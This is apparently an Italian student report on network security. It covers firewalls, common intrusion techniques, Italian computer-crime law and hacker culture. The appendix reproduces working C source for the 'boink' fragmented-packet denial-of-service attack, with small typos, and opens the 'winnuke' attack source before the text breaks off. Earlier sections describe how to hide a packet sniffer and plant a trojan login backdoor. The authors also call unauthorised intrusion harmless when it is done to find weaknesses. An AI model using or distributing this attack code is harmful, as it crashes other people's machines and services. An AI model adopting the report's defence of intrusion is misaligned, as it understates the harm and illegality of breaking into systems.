Saranno analizzate ora le funzioni di un firewall, mettendo in luce proprio la capacità di soddisfare molte delle differenti esigenze di sicurezza.

· Un firewall dual-homed rappresenta un choke point: tutte le connessioni tra la sottorete servita e l’esterno passano attraverso quel punto. In questo modo si guadagna parecchio in termini di sicurezza di rete, poiché il firewall consente di concentrare le misure di sicurezza in questa specie di “muro” al confine fra la rete locale e l’esterno. L’uso di un firewall comporta dei costi, ma permette comunque di concentrare gli sforzi per garantire la sicurezza in un unico punto, piuttosto che su tutti gli host di un sistema.

· E’ opportuno per un sistema offrire verso l’esterno solo i servizi di rete assolutamente indispensabili: i firewall possono fare questo grazie alla loro capacità di filtrare i singoli pacchetti delle connessioni aperte verso la rete protetta. In questo modo agli host interni del sistema non arrivano neanche le richieste di connessione dei servizi non desiderati, in quanto bloccate a monte dal firewall. Anche per quanto riguarda le connessioni dall’interno verso l’esterno il firewall è utile per bloccare tutti quei protocolli che la politica di sicurezza del sistema impone non si debbano utilizzare.

· La gestione di una politica delle password per l’ingresso al sistema può ovviamente essere concentrata sul firewall, in quanto unico punto di accesso verso l’interno. Inoltre, in alcuni tipi di firewall, per ogni singolo utente autenticato si possono definire delle azioni permesse e vietate (a livello di protocollo) all’interno del sistema in modo personalizzato. Appare chiaro, ancora una volta, come l’implementazione di una politica di sicurezza di rete attraverso un firewall sia certamente una delle soluzioni migliori.

· Poiché tutto il traffico passa attraverso il firewall, quest’ultimo diventa il posto migliore per raccogliere ogni tipo di informazione sulle connessioni effettuate in entrambe le direzioni servite. Possono essere monitorizzati inoltre tutti i tentativi falliti di connessione. Ovviamente le informazioni raccolte possono sia essere registrate (logging) ed analizzate successivamente, sia generare degli allarmi di sicurezza che necessitano una risposta immediata da parte dell’amministratore di sistema.

· Un’altra funzione molto importante dei firewall è la loro capacità di mascherare indirizzi (privati) di reti interne con altri indirizzi IP accessibili da tutta la rete Internet. Il numero totale di indirizzi IP disponibili non è illimitato e non tutti gli host che comunicano tramite protocolli TCP/IP hanno la stretta necessità di essere visibili direttamente su Internet. Molto spesso è la stessa politica di sicurezza di un sistema ad imporre che gli indirizzi delle macchine interne non siano percettibili al di fuori della relativa sottorete. L’idea che risolve questo problema è quella connettere la rete locale a Internet in maniera indiretta, attraverso un firewall. Per mezzo di un sistema firewall è possibile far convivere un doppio indirizzamento IP per le macchine della rete protetta che devono essere connesse a Internet. La tecnica che lo consente è nota come “Network Address Translation” o “IP Masquerading”. Quando una macchina interna (chiamiamola A), ad esempio, vuole aprire una connessione verso una macchina esterna (chiamiamola B), lo fa passando attraverso il firewall. Il firewall possiede in memoria una tabella di corrispondenze fra indirizzi privati e pubblici che sono stati assegnati ai nodi protetti: inoltra quindi la connessione all’esterno scrivendo nel campo dell’indirizzo sorgente quello pubblico al posto di quello privato. Quando l’host B risponde, il firewall consulta nuovamente la tabella, scrive nel campo destinazione l’indirizzo che l’host A possiede sulla rete protetta e inoltra il pacchetto. La conversione degli indirizzi di rete può essere realizzata attraverso tre meccanismi:

1) la conversione a livello IP appena vista, fatta per mezzo della tabella delle corrispondenze fra indirizzi privati e pubblici.

2) il meccanismo del “Proxy ARP”.

3) Il mascheramento di tutti gli indirizzi interni tramite il solo indirizzo IP del firewall.

Il secondo meccanismo riguarda il protocollo ARP (Address Resolution Protocol), che agisce a livello fisico per convertire gli indirizzi IP in indirizzi Ethernet. Tutti i nodi di una rete interrogano gli altri host per conoscere i loro indirizzi Ethernet mediante il protocollo ARP. Tramite la funzione di Proxy ARP è possibile fare in modo che il firewall “risponda” alle richieste ARP che vengono fatte dalle macchine esterne per conoscere gli indirizzi Ethernet degli host “mascherati”. In questo modo, i nodi mascherati dal firewall sono raggiungibili anche a livello fisico.

Il terzo meccanismo è molto semplice: tutte le connessioni verso host esterni vengono effettuate dal firewall con il suo indirizzo IP. 

In questo modo il firewall effettuerà i collegamenti per conto degli host interni facendoli tutti partire dal suo indirizzo: sarà poi suo compito smistare i pacchetti in arrivo sull’interfaccia esterna alle macchine della sottorete protetta.

In questo modo, al resto della rete, gli host interni sono totalmente trasparenti: tutte le connessioni infatti appaiono effettuate dalla stessa macchina, il firewall appunto.

LIMITAZIONI

Non bisogna mai pensare che l’utilizzo di un firewall risolva ogni problema di sicurezza del proprio sito, anche se tale strumento abbiamo visto risulta determinante in molti campi.

Dopo avere considerato quello che possono fare i firewall, andiamo ora a consideriamo ciò che comunque i firewall non possono fare.

· I firewall sono efficaci per difendersi dalle minacce che vengono da Internet (come alcuni dei DoS visti precedentemente), ma non rappresentano la soluzione completa al problema della sicurezza dei dati e delle risorse. Determinati tipi di attacco sono fuori dalla portata di un firewall. Un classico esempio è rappresentato dagli attacchi dall’interno. Essi non sono neanche percepiti dai firewall, che sono posizionati all’interfaccia con la rete.

· Un firewall non può far nulla se sono presenti altre linee di connessione non protette (ad esempio linee modem) che costituiscono delle back-door per il sistema.

· Un firewall è progettato per difendere un sistema dalle minacce note: eventuali nuovi tipi di attacco, portati con tecniche sconosciute al tempo dell’implementazione di un firewall, potrebbero trovare lo stesso sprovvisto di difese. Un firewall, infatti, non possiede nessun automatismo che gli permetta di adeguarsi a tutti i nuovi tipi di attacco che vengono inventati. Per questo, una volta che si è installato un firewall, il lavoro dell’amministratore di sicurezza di un sistema non si deve considerare concluso. Non bisogna dimenticare poi che, come tutto il software in circolazione, anche il software del firewall può essere potenzialmente affetto da bug; questo comporta, una volta scoperta una vulnerabilità, la correzione repentina dei relativi errori nel codice.

· Una volta approvata e instaurata una connessione tra un host interno e uno esterno risulta difficile controllare quale genere di informazioni vengono scambiate. I controlli possono avvenire infatti a livello di protocollo (di solito ai livelli 3 e 4 del modello OSI), ma non di contenuto dei dati scambiati. Per fare un esempio eventuali bug o virus presenti in programmi inviati attraverso la rete non possono essere individuati.

COSTI DI ACQUISTO E GESTIONE

Come tutte le misure di sicurezza, la costruzione e la gestione di un firewall comporta dei [image: image6.png]


costi. Ovviamente ci sono i costi per l’acquisto dell’hardware e il software necessario alla realizzazione fisica. Questi costi erano altissimi quando i primi firewall furono introdotti sul mercato; nel 1990 il costo medio di un sistema firewall si aggirava attorno al centinaio di milioni di lire. Al giorno d’oggi un sistema firewall, con prestazioni ovviamente molto superiori a quelle dei primi modelli, costa come una workstation di piccole dimensioni e l’andamento dei prezzi è tuttora in calo. A questi costi bisogna aggiungere i costi in termini di tempo per l’installazione, la configurazione e le eventuali modifiche da apportare al software per adattarlo alle proprie esigenze.

Infine ci sono i costi in termini di produttività e quelli dovuti all’impatto che il firewall ha nella fruizione dei servizi da parte del personale dell’organizzazione. Le restrizioni sui servizi necessarie per proteggersi dagli attaccanti a volte devono essere applicate anche agli utenti della rete locale, e questo non è sempre indolore.
A T T A C C H I

Precedentemente sono stati analizzati i DoS, attacchi di tipo esterno (che, cioè, non vengono eseguito sulla macchina “vittima”, ma in via remota, attraverso la rete) che vanno a colpire soprattutto l’utente di una rete (che potrebbe essere Internet) senza causare, come è stato visto, danni permanenti alla macchina o ai dati su di esso contenuta. Come è intuibile, comunque, un hacker (successivamente verrà definita questa figura; per il momento è sufficiente sapere che si tratta dell’individuo che accede ad un sistema senza averne l’autorizzazione), non è molto interessato a terminare la connessione di un utente comune, come non è, solitamente, interessato ai dati presenti sulla sua macchina. Esiste dunque un versante della sicurezza in rete che coinvolge macchine di maggiore importanza quali i server Internet. Come esistono i bug nel protocollo Tcp/Ip (sui quali si appoggiamo quasi tutti i DoS) esistono anche molti bug nei programmi utilizzati nei sistemi server per fornire i vari servizi; l’obbiettivo degli attacchi non è più, ora, quello di sconnettere la macchina remota, bensì quello di utilizzarne i servizi (per esempio crearsi una propria utenza, cambiare le pagine web presenti sul server o aggiungerne di nuove, ecc.) riuscendo ad acquisire i diritti di superuser sfruttando vari bug. Il sendmail, per esempio, è un mezzo molto efficace per attaccare una macchina: sono stati trovati bug per moltissime versione di questo programma, presente su ogni server Internet che utilizzi un sistema Unix (o Linux). Altre possibilità che si sono sfruttate negli ultimi anni sono state concesse dai bug cgi-bin (soprattutto quelli scritti in Perl); il più conosciuto tra questi è il phf, un programmino che si trova nella directory cgi-bin di moltissimi server httpd. Originariamente era stato concepito per un compito molto banale: mandare una query di consultazione al servizio whois, ma in realtà, come moltissimi altri bug, questo programma può diventare una vera e propria backdoor. Il phf permette di dare, tramite un semplice browser, dei comandi alla macchina Unix e di ottenere l’output; per essere possibile questo l’amministratore di sistema deve attivare il server httpd come root (è una cosa senza significato, ma ignorando le conseguenze veniva fatto spesso tempo fa); in questo modo è possibile vedere il contenuto del file /etc/passwd (contenente le password criptate), per poi risalire alle password dei vari utenti del sistema.

Riuscire ad accedere ad un sistema non è dunque, solitamente, molto difficile: è sufficiente avere un minimo di conoscenze di Linux e della rete, oltre che avere molta fortuna. Esistono infatti degli exploit, programmi “già pronti” che sfruttano diversi bug e che permettono, a seconda, di accedere al sistema, di poter copiare il file passwd o di diventare root del sistema senza dover far nulla. Per questo è compito di un buon amministratore di sistema tenersi continuamente aggiornato sui nuovi bug e provvedere usando delle patches; un buon sysadmin dovrebbe, per certi aspetti, anche essere un buon hacker: dovrebbe sapersi mettere nei panni del “nemico” e pensare a tutte le possibilità. In realtà esistono molti Internet provider convinti che basti comprare una buona workstation e il software necessario per avere un buon sistema, mentre è indispensabile un grande lavoro di configurazione iniziale ed un continuo mantenimento.

Verranno ora trattate alcune tecniche di hacking molto diffuse.

SNIFFER

Una volta acquisiti i permessi di superuser su una macchina ci sono parecchie cose da fare, ma spesso la più interessante è utilizzarla come fornitrice di altri account buoni per “bucare” (cioè accedere senza averne le autorizzazioni) altri sistemi. Per raggiungere questo risultato si usano gli sniffer, ossia programmi che monitorano costantemente i pacchetti Tcp  che circolano sulla rete cui è collegata la macchina, alla ricerca di stringhe contenenti “login” e “password”. Ciò viene fatto sulle porte standard del telnet (23), dell’ftp (21) e del POP3 (110) attraverso le quali passano il maggior numero di password, anche se nessuno vieta di monitorare quelle non standard. Lo sniffer va installato con molta cura, altrimenti il sysadmin se ne accorge (per la verità un buon amministratore DEVE accorgersene). I risultati di questo filtraggio di informazioni che circolano nella rete vengono poi messi in un certo file, il quale deve essere accuratamente nascosto nel sistema se non si vuole essere scoperti. 

IP SPOOFING

Un’altra difficoltà che si può incontrare nel momento in cui si viene in possesso di un account su un sistema è l’impossibilità di raggiungerlo via telnet, per le ragioni più diverse: l’amministratore di sistema ha disabilitato il servizio per motivi di sicurezza, o soltanto perché lo reputava inutile; oppure ha configurato il sistema con un filtraggio dei pacchetti che permette di utilizzare il telnet soltanto da certi IP; oppure ancora ha cambiato la porta standard 23 con qualche altra porta; o c’è un firewall, ecc. L’IP spoofing permette, utilizzando una debolezza intrinseca del protocollo Tcp/Ip, a un computer A di far credere a un computer C di essere in computer B. Si ipotizza una situazione di questo tipo.
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Il computer A è quello in possesso dell’hacker, di solito un sistema già bucato sul quale si hanno i privilegi di root.

Il computer C è la macchina bersaglio.

Il computer B è una macchina della quale C “si fida”, ad esempio una macchina della stessa LAN e usata per collegarsi alla macchina C, normalmente chiamata “trusted host”.

L’hacker dovrà per prima cosa impedire alla macchina B di rispondere, renderla “muta”. Per far questo si sfruttano le porte che accettano messaggi di sincronizzazione, che hanno un buffer limitato; per esempio si mandano molte richieste sulla porta 23, in questo modo B è bloccata. Ora la macchina A può “camuffare” il suo indirizzo IP (usando quello di B, che non può più “farsi sentire”)  e comunicare con la macchina C.

Questa tecnica è molto difficile da applicare e presuppone una profonda conoscenza del protocollo Tcp/Ip, perché bisogna falsificare e prevedere un gran numero di eventi. Una è lo ISNclient e l’ISNserver (Initial Sequence Number), il numero che il client invia al server come richiesta di connessione. Questo numero varia a ogni connessione, ma è abbastanza semplice sapere quale sia, perché varia in base a regole costanti. Inoltre è necessario avere le idee chiare sul funzionamento del triplo handshake tra client e server nel Tcp/Ip.

Esistono vari programmi che permettono di “spoofare”, questa tuttavia rimane una tecnica non alla portata di molte persone.

BACKDOOR

Dopo aver bucato in qualche modo un sistema acquisendo i diritti di root la prima cosa che un hacker fa è crearsi una backdoor, per poter rientrare in un altro momento senza dover ripetere tutte le operazioni. I modi per installare una backdoor sono veramente tanti, e spesso rappresentano la firma dell’hacker che compie il lavoro. Una backdoor per essere considerata tale deve avere almeno queste caratteristiche:

· deve permettere di rientrare nel sistema dall’esterno

· deve permettere di diventare root da subito

· deve essere invisibile al sysadmin

· deve funzionare (…)

E’ preferibile che la backdoor possa essere sfruttata interamente da remoto, quindi deve essere un service in attesa di essere chiamato. Una delle più pulite è quella che consiste nel sostituire in programma login con un login “troiano”. Il login è quel programma che si occupa del controllo dell’id e della password. Sostituendo il programma standard unix login con un altro programma uguale in tutto ma con dentro alcune righe di codice che controllano l’eventuale inserimento di una password particolare che, nel momento in cui viene inserita, funziona da password universale. Quindi si può poi accede al sistema con qualsiasi account, anche quello di root.

Ci sono molti altri tipi di backdoor; anche il semplice inserimento di una riga nel file passwd è una backdoor, ma è la più rozza e semplice da individuare (a meno che il sistema abbia un paio di centinaia di utenti, per cui uno in più o uno in meno non cambierebbe molto).

A S P E T T I   G I U R I D I C I
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Lo sviluppo e la diffusione degli strumenti telematici hanno generato, parallelamente a nuove forme di comunicazione, nuove forme di criminalità; per questo la legge ha dovuto affrontare problemi ad essa del tutto sconosciuti, incontrando non poche difficoltà. L’intento di questa breve panoramica, all’interno della quale non si affronteranno tutti gli aspetti giuridici relativi ai crimini telematici, ma solamente gli esempi più significativi, si desidera far capire quanto la legge italiana si sia dimostrata estremamente incapace di adeguarsi ai tempi; si vuole mostrare che non sono tanto le leggi sull’argomento a mancare, quanto un minimo di chiarezza.

LA DISCIPLINA ITALIANA

Il Legislatore italiano ha adeguato il codice penale vigente alle nuove esigenze di tutela emanando la legge n. 547 del 23 dicembre 1993, sul modello della legislazione tedesca, introducendo nuove forme e adeguando norme esistenti alle nuove fattispecie criminose. Con nuove disposizioni l’informatica e la telematica vengono riconosciute quali espressioni e attività tutelate dal diritto penale. In primo luogo una precisazione di carattere generale: il legislatore non solo non offre una definizione della maggior parte dei concetti “tecnici” richiamati dalle singole disposizioni, ma addirittura utilizza e assimila espressioni generiche, quali “informatica” e “telematica”.

La legge n. 547/93 ha disciplinato tre diversi tipi di fattispecie:

· fattispecie di reato consistente in sostanziali condotte di danneggiamento contro hardware e/o software (artt. 392, 420, 635-bis c.p.);

· fattispecie di reato consistente in condotte di “intrusione” illegittima nella sfera (domicilio e segreti) di terzi nel e mediante l’uso di hardware e di software (artt. 615-ter, 615-quater, 615-quinquies, 616, 617-quarter, 617-quinquies, 617-sexies, 621, 623-bis c.p.);

· fattispecie di reato consistente in condotte di alterazione di funzionamento di hardware e di software finalizzate all’acquisizione di un ingiusto profitto con danno altrui (c.d. frode informatica, art. 640-ter c.p.).

Di seguito non verranno analizzate tutte le ipotesi criminose introdotte dalla legge n. 547/1993, ma solamente le fattispecie che tutelano il domicilio informatico e la sicurezza delle comunicazioni telematiche.

Per quanto riguarda la tutela del c.d. domicilio informatico e telematico si possono distinguere tre diverse situazioni.

· Accesso abusivo a un sistema informatico o telematico

L’art. 615-ter c.p. prevede il reato di “accesso abusivo” a un sistema informatico o telematico e sanziona, al primo comma, con la reclusione fino a tre anni la condotta di “chiunque abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volontà espressa o tacita di chi ha il diritto di escluderlo”. Per la realizzazione di questa fattispecie non è sufficiente l’accesso abusivo al sistema telematico, ma occorre che tale sistema sia “protetto da misure di sicurezza” (le quali hanno la funzione di rendere esplicito e inequivoco che si è in presenza di un divieto d’accesso al sistema informatico o telematico). L’accesso abusivo ai sistemi telematici di interesse militare o comunque di rilevante interesse pubblico è punito con una pena maggiore rispetto al reato base, precisamente con la reclusione da uno a cinque anni.

· Detenzione e diffusione abusiva dei codici d’accesso a sistemi informatici e telematici

L’art. 615-quarter punisce (con la reclusione sino ad un anno e con la multa sino a 10 milioni) la condotta di “chiunque, al fine di procurare a sé o ad altri un profitto o di arrecare ad altri un danno, abusivamente si procura, riproduce, diffonde, comunica o consegna codici, parole chiave o altri mezzi idonei all’accesso a un sistema informatico o telematico, protetto da misure di sicurezza, o comunque fornisce indicazioni o istruzioni idonee al predetto scopo”. Anche in questo caso, come il precedente, la norma tutela solo i sistemi protetti da misure di sicurezza (come l’uso di P.I.M., Personal Identification Number, password e firewall).

· Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico

L’art. 615-quinquies c.p. punisce con la reclusione sino a due anni e con la multa sino a 20 milioni di lire la condotta di “chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri prodotto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o a esso pertinenti, ovvero l’interruzione, totale o parziale, o l’alterazione del suo funzionamento”. In altre parole la norma sanziona la diffusione di virus.
Per quanto riguarda le norme a tutela della sicurezza delle comunicazioni informatiche e telematiche la legge n. 547/93 ha introdotto nuove ipotesi di reato di intercettazione, estendendo la tutela prevista per le comunicazioni telegrafiche e telefoniche. Con tale previsione il nostro sistema giuridico si è adeguato alla Raccomandazione n. R (89) 9 adottata dal Comitato dei Ministri del Consiglio d’Europa il 13/9/1989, che include l’intercettazione non autorizzata di comunicazioni telematiche nell’elenco minimo dei reati da prevedere nel quadro di una politica di repressione della criminalità informatica. In particolare l’art. 617-quarter sanziona con la reclusione da sei mesi a quattro anni la condotta di “chiunque fraudolentemente intercetta comunicazioni relative a un sistema informatico o telematico o intercorrenti tra più sistemi, ovvero le impedisce o le interrompe”.  L’interruzione, comunque, per poter essere punita deve essere fraudolenta, ossia deve consistere in un’attività compiuta dal soggetto agente con la consapevolezza di compiere un accesso abusivo al sistema e di compiere una illecita turbativa.

CONSIDERAZIONI

La legge, si sa, non è mai troppo chiara, soprattutto per chi di diritto non se ne intende affatto. Purtroppo “la legge non ammette ignoranza”, quindi è necessario sforzarsi di comprenderla.

In questo caso, tuttavia, una persona con un minimo di conoscenze informatiche non può fare a meno di scrollare la testa leggendo gli articoli di legge: non tanto per la loro ambiguità che, in modo chiaro, lascia libera interpretazione, quanto per l’evidente mancanza di impegno. Per arrivare a delle giuste leggi è indispensabile conoscere il problema di cui si sta parlando, altrimenti è solo possibile sprecare un sacco di parole senza arrivare a nessuna conclusione.

E particolarmente curioso un particolare riguardante l’art. 615-ter: se il sistema non è protetto allora non è reato accedere ad esso. E’ come se, lasciando incustodita l’automobile con all’interno le chiavi, chiunque potesse prenderla senza commettere un reato. Ancora più ridicolo è l’art. 617-quarter, secondo il quale interrompere una comunicazione telematica tra due sistemi è reato, ma non lo è se l’interessato non è consapevole di quello che sta facendo.

Se è vero che improvvisarsi “criminali informatici” è davvero semplicissimo (basta utilizzare i programmini di cui si è parlato prima a proposito dei DoS o programmi come BackOrifice), è anche vero che inconsapevolmente non si fa nulla.

Ci troviamo dunque di fronte ad una legge arretrata e non in grado di stare al passo con i tempi, che non dedica la dovuta attenzione a certi problemi che, in futuro, saranno sempre più presenti nella nostra società. 

H A C K E R S

Era impensabile realizzare una guida alla sicurezza in rete, per quanto breve possa essere, senza parlare degli hackers, del mondo di cui fanno parte, ai più sconosciuto o, peggio ancora, conosciuto attraverso i mass-media che hanno sempre dato un’idea completamente distorta e falsa.

Chi è, dunque, un hacker?  Non è altro che una persona la quale, prima di tutto, vuole capire come funzionano veramente i sistemi e le macchine, è colui che cerca di penetrare nei sistemi sfruttando i bug delle protezioni. Solo questo è un hacker, nient’altro: il resto, tutto quello che la maggior parte delle persone pensano quando si parla di hackers, è solo frutto di un’informazione sbagliata e di tanta immaginazione e fantasia. Lo stereotipo più diffuso dell’hacker è quello del ragazzo (16-20 anni, solitamente) introverso, in conflitto con la società, che passa le sue giornate (e magari anche le notti) davanti allo schermo del computer cercando di entrare nel computer della NASA, credendo che sia tutto un gioco. Oppure si pensa a questa figura (come suggeriscono altri film) come un criminale, un individuo losco e, magari, anche sporco e antipatico. In realtà chiunque può essere un hacker: lo può essere il ragazzo che, a scuola, prova una password dopo l’altra sperando di trovare quella giusta per  poter accedere ad informazioni altrimenti a lui non accessibili, come lo può essere l’impiegato che, essendosi dimenticato la sua password, è costretto a forzare il sistema. E’ quindi importante non generalizzare, non fare di tutta l’erba un fascio.

In Italia il fenomeno degli hackers è perlopiù stato “importato” dagli States; in realtà la scena dell’hacking nel nostro Paese è un fenomeno a sé stante, essendo nato in circostanze molto diverse. Si cercherà ora di dare un’idea di quella che è stata, negli ultimi anni, la situazione relativa all’hacking in Italia.

PERCHE’ HACKARE

Cosa spinge una persona a passare ore intere davanti ad un computer cercando in tutti i modi di accedere a delle informazioni contenute in un altro sistema? Le motivazioni possono essere molte, tuttavia i “veri” hackers hanno solitamente un solo motivo: dimostrare l’insicurezza del sistema, studiarlo per trovare i suoi punti deboli. Ovviamente non mancano le persone che, magari (come spesso succede) sopravvalutandosi pensano di sfruttare le proprie capacità per arricchirsi: allora si sente spesso parlare di hackers che cercano di accedere ad importanti archivi di dati per ricavarne ingenti guadagni. Però non capita mai di venire a conoscenza, tramite i normali mezzi di comunicazione dei mass-media, di hackers che, trovato il modo di accedere ad un sistema, hanno contattato l’amministratore per segnalargli il problema. Un hacker desidera “fregare il sistema”, dimostrare agli altri (ma prima di tutto a sé stesso) le proprie capacità. Il mondo dell’hacking ha dunque un suo “codice”, un insieme di regole morali implicite, che contribuisce a dargli un grande fascino.

L’HACKER VISTO DALLA STAMPA
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Questo articolo, relativo ad un episodio accaduto la sera del 31 dicembre 1998, mette in evidenza come l'hackers viene considerato dalla società; in particolar modo evidenzia come certi giornalisti si illudono di essere tanto esperti sull’argomento, mentre in realtà vedono solo troppi film di fantascienza. L’articolo si commenta da solo… Diciamo solo che, secondo noi, Silvia avrebbe dovuto dedicarsi al campo delle riviste di cucina (visto che anche per il romanzo fantascientifico la sua fantasia è troppo sviluppata: non sarebbe compresa).

A S P E T T I   M O R A L I

La questione della sicurezza in rete di per sé non coinvolge la sfera morale; è d’altra parte vero che, in un certo senso, ogni cosa che facciamo coinvolge in qualche modo la morale, l’insieme di idee dentro ognuno di noi che ci porta a vedere quello che ci circonda come giusto o sbagliato. Le persone che penetrano nei sistemi altrui possono andare contro certe regole imposte dalla morale comune, intesa come quella diffusa nella nostra società.

E’ dunque “sbagliato” cercare di penetrare in un sistema? O lo è solamente se si fa con lo scopo di recare danno a qualcuno (il che, quasi sempre, equivale a trarre profitto per sé stessi)? Sicuramente l’idea più diffusa è quella di condannare a priori le persone che desiderano vedere “quello che sta dietro”, le persone che vogliono “scoprire”; forse questo avviene perché l’uomo ha l’istinto di reputare come pericoloso tutto quello che non conosce in questa società: l’idea di una persona che potrebbe essere in grado di prendere il controllo della nostra macchina mentre siamo collegati ad Internet ci spaventa. Per questa ragione gli hackers (come detto prima), il più delle volte, vengono “emarginati”, sono costretti a vivere nei sotterranei della società.

Quello che la gente non sa, solitamente, è che i veri hackers hanno un proprio “codice morale” basato sulla consapevolezza e sulla correttezza di ogni singolo individuo; un insieme di regole che non sta scritto da nessuna parte, che è dentro ognuno di noi.

Secondo noi è dunque facile cadere in stupidi pregiudizi; sarebbe necessario non “fare di tutta l’erba un fascio”: considerare ogni singola situazione e valutarla con la propria testa, senza lasciarsi condizionare dai mass-media che, il più delle volte, cercano di mettere in cattiva luce tutto quello che riguarda Internet. 

Violare la sicurezza di un sistema (anche se, teoricamente, sarebbe contro la legge) solo per confrontarsi con il sistema stesso, per scoprire i punti deboli e poi poter portare ad un miglioramento del sistema, secondo noi non comporta un male. E’ comunque vero che non esiste un’unica verità, ma tante verità: per questo ognuno è libero di pensarla come vuole (difficilmente un amministratore di sistema che non vuole avere problemi la penserà come un ragazzo che vuole trovare un buco sulla macchina), l’importante è che lo faccia con la propria testa.

C O N C L U S I O N I

Questo breve viaggio nel mondo della sicurezza in rete è terminato. Speriamo di essere riusciti a rendere un’idea generale ma ben delineata dell’argomento.
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Realizzare questa tesina ci ha permesso di approfondire alcuni concetti trattati nel contesto scolastico, unendo le conoscenze acquisite sui banchi alle nostre esperienze personali. Per certi aspetti abbiamo anche avuto modo di concretizzare in qualcosa di utile i nostri interessi personali, fino ad ora considerati poco più che passatempi: le ore passate a leggere documenti relativi alla sicurezza in Internet o a sperimentare, tra amici, i vari programmini di attacco o di gestione remota (come BackOrifice, a lungo sperimentato anche nella LAN del laboratorio scolastico) non si sono rivelati perdite di tempo.

Questa esperienza, inoltre, è stata un’ulteriore occasione che abbiamo potuto sfruttare per lavorare in gruppo, abituandoci così ad organizzarci ed a confrontarci con un’altra persona, cosa quasi inevitabile in un’eventuale situazione lavorativa futura.

A P P E N D I C E

Di seguito vengono riportati i sorgenti in linguaggio C (di Linux) di due attacchi DoS molto diffusi, varianti del bonk e del click trattati a pagina 6. I programmi, compilati in Linux, risultano essere funzionanti.

BOINK

/*boink.c - a modified bonk.c

        bonk.c        -         5/01/1998

        Based On: teardrop.c 

        Crashes *patched* win95/(NT?) machines.

        Basically, we set the frag offset > header length (teardrop

        reversed). There are many theories as to why this works,

        however i do not have the resources to perform extensive testing.

        I make no warranties. Use this code at your own risk.

        Rip it if you like, i've had my fun.

        As it stood before, bonk.c just simply attacked port 55.

        Upon scanning my associates, I've noticed port 55 isn't

        always open. It varies in fact, while other ports remain

        open and vulnerable to this attack. I realized that Microsoft

        just might fix this by blocking port 55 off or something

        completely lame like that, and that is unacceptable.

        As of this modification, you provide both a "start" and a

        "stop" port to test for the weakness, in the attempt to catch

        a possibly open port. (I've noticed port 55 seemed to come open

        more frequently on machines that were running IE though)

        Hopefully this will encourage Microsoft to write a REAL fix

        instead of just make lackey fixes as they've had in the past.

        Please only use this to test your own systems for vulnerability,

        and if it is, bitch at Microsoft for a fix. I am not responsible

        for any damage that may come and as stated above by the

        author, this might not even work. I make no claims

        to the ownership to any portions of this source in any way.  */

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_udp.h>

#include <netinet/protocols.h>

#include <arpa/inet.h>

#define FRG_CONST       0x3

#define PADDING         0x1c

struct udp_pkt

{

        struct iphdr    ip;

        struct udphdr   udp;

        char data[PADDING];

} pkt;

int     udplen=sizeof(struct udphdr),

        iplen=sizeof(struct iphdr),

        datalen=100,

        psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,

        spf_sck;                        /* Socket */

void usage(void)

{

        /* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */

        fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> [num]\n");

        exit(0);

}

u_long host_to_ip(char *host_name)

{

        static  u_long ip_bytes;

        struct hostent *res;

        res = gethostbyname(host_name);

        if (res == NULL)

                return (0);

        memcpy(&ip_bytes, res->h_addr, res->h_length);

        return (ip_bytes);

}

void quit(char *reason)

{

        perror(reason);

        close(spf_sck);

        exit(-1);

}

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,

           int dst_prt)

{

        int     bs;

        struct  sockaddr_in to;

        memset(&pkt, 0, psize);

                                                /* Fill in ip header */

        pkt.ip.version = 4;

        pkt.ip.ihl = 5;

        pkt.ip.tot_len = htons(udplen + iplen + PADDING);

        pkt.ip.id = htons(0x455);

        pkt.ip.ttl = 255;

        kt.ip.protocol = IP_UDP;

        kt.ip.saddr = src_addr;

        pkt.ip.daddr = dst_addr;

        pkt.ip.frag_off = htons(0x2000);        /* more to come */

        pkt.udp.source = htons(src_prt);        /* udp header */

        pkt.udp.dest = htons(dst_prt);

        pkt.udp.len = htons(8 + PADDING);

                                                /* send 1st frag */

        to.sin_family = AF_INET;

        to.sin_port = src_prt;

        to.sin_addr.s_addr = dst_addr;

        bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,

                sizeof(struct sockaddr));

        pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */

        pkt.ip.tot_len = htons(iplen + FRG_CONST);

                                                        /* 2nd frag */

        bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,

                (struct sockaddr *) &to, sizeof(struct sockaddr));

        return bs;

}

void main(int argc, char *argv[])

{

        u_long  src_addr,

                dst_addr;

        int     i,

               /* src_prt = 55,

                  dst_prt = 55, */ 

                start_port,

                stop_port,

                bs = 1,

                pkt_count;

        if (argc < 5)

                usage();

        start_port = (u_short) atoi (argv[ 3 ]);

        stop_port = (u_short) atoi (argv[ 4 ]);        

        if (argc == 6)

              pkt_count = atoi (argv[ 5 ]);

        if (start_port >= stop_port ||

            stop_port <= start_port) {

                start_port = 25;

                stop_port = 65;

        }

        if (pkt_count == 0)
pkt_count = 10;

        /* Resolve hostnames */

        src_addr = host_to_ip(argv[1]);

        if (!src_addr)

                quit("bad source host");

        dst_addr = host_to_ip(argv[2]);

        if (!dst_addr)

                quit("bad target host");

        spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

        if (!spf_sck)

                quit("socket()");

        if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,

        sizeof(bs)) < 0)

                quit("IP_HDRINCL");

        for (i = 0; i < pkt_count; ++i)

        {

                int j;

                printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);

                for (j = start_port; j != stop_port; j++) {

                    fondle (spf_sck, src_addr, dst_addr, j, j);

                }

                usleep(10000);

        }

        printf("Done.\n");

}

WINNUKE

/* winnuke.c - (05/07/97)  By _eci  */

/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */

/*        It is possible to remotely cause denial of service to any windows

95/NT user.  It is done by sending OOB [Out Of Band] data to an

established connection you have with a windows user.  NetBIOS [139] seems

to be the most effective since this is a part of windows.  Apparently

